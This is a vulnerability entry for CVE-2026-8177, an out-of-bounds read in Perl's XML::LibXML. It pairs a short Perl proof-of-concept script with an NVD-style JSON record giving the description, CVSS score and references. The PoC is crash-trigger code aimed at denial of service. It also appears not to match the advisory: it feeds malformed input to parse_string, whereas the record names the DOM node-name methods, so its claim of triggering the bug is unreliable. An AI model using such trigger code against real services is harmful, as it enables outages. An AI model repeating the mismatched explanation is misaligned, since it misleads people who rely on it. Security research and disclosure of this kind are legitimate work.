CVE-2026-8177

#!/usr/bin/perl # PoC for CVE-2026-8177 # This script demonstrates the crash by using a truncated UTF-8 sequence in an XML node name. use strict; use warnings; use XML::LibXML; # Create a truncated UTF-8 sequence. # 0xC3 is the first byte of a 2-byte sequence, but it is missing the second byte. my $malicious_node_name = "\x{C3}"; print "Attempting to parse XML with truncated UTF-8 node name...\n"; my $parser = XML::LibXML->new(); # Construct malicious XML string my $xml_string = "<$malicious_node_name>test</$malicious_node_name>"; eval { # This triggers the out-of-bounds read my $doc = $parser->parse_string($xml_string); print "Parsing successful (vulnerability likely not triggered or patched).\n"; }; if ($@) { print "Exception caught: $@\n"; print "The process likely crashed or threw an error due to the malformed input.\n"; }

{"cve": {"id": "CVE-2026-8177", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-10T21:16:30.003", "lastModified": "2026-05-12T16:48:58.260", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "XML::LibXML versions through 2.0210 for Perl read out-of-bounds heap memory when parsing XML node names containing truncated UTF-8 byte sequences.\n\nA node name ending in the middle of a multi byte UTF-8 sequence causes the parser to read past the end of the input string into adjacent heap memory.\n\nAny Perl process that passes attacker controlled strings to XML::LibXML's DOM node-name methods can reach this path on the default API. The likely consequence is a crash, causing denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://github.com/cpan-authors/XML-LibXML/commit/15652bd905a6c9dda59a81b14d4766adbbae2ea8.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://github.com/cpan-authors/XML-LibXML/issues/146", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://github.com/cpan-authors/XML-LibXML/pull/149", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/10/8", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/11/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}